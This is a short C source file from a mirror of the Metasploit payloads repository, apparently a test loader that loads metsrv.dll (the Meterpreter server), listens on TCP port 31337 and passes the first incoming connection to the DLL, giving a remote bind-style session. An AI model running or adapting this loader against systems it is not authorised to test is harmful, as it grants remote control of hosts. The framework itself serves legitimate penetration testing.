1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-18 15:14:10 +01:00
2017-12-05 10:14:49 +02:00

82 lines
1.5 KiB
C

#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#define PORT 31337
int main(int argc, char **argv)
{
struct sockaddr_in s;
DWORD (*init)(SOCKET fd);
PCHAR dllPath, slash;
SOCKET srv, cli;
HMODULE lib;
WSADATA data;
WSAStartup(0x0202, &data);
do
{
if (argc == 1)
{
printf("need dll path\n");
break;
}
if (!(dllPath = (PCHAR)malloc(strlen(argv[0]+5))))
{
fprintf(stderr, "could not duplicate argv\n");
break;
}
printf("loading from %s\n", argv[1]);
lib = LoadLibrary(argv[1]);
if ((!lib) ||
(!((LPVOID)init = (LPVOID)GetProcAddress(lib, "Init"))))
{
fprintf(stderr, "could not load metsrv.dll, %lu\n", GetLastError());
break;
}
if ((srv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
fprintf(stderr, "listen: %lu\n", GetLastError());
break;
}
s.sin_family = AF_INET;
s.sin_port = htons(PORT);
s.sin_addr.s_addr = INADDR_ANY;
printf("Listening on port %d...\n", PORT);
if (bind(srv, (struct sockaddr *)&s, sizeof(s)) < 0)
{
fprintf(stderr, "bind: %lu\n", GetLastError());
break;
}
if (listen(srv, 1) < 0)
{
fprintf(stderr, "listen: %lu\n", GetLastError());
break;
}
if ((cli = accept(srv, NULL, NULL)) < 0)
{
fprintf(stderr, "accept: %lu\n", GetLastError());
break;
}
printf("Initialized with client fd %lu.\n", cli);
init(cli);
} while (0);
free(dllPath);
return 0;
}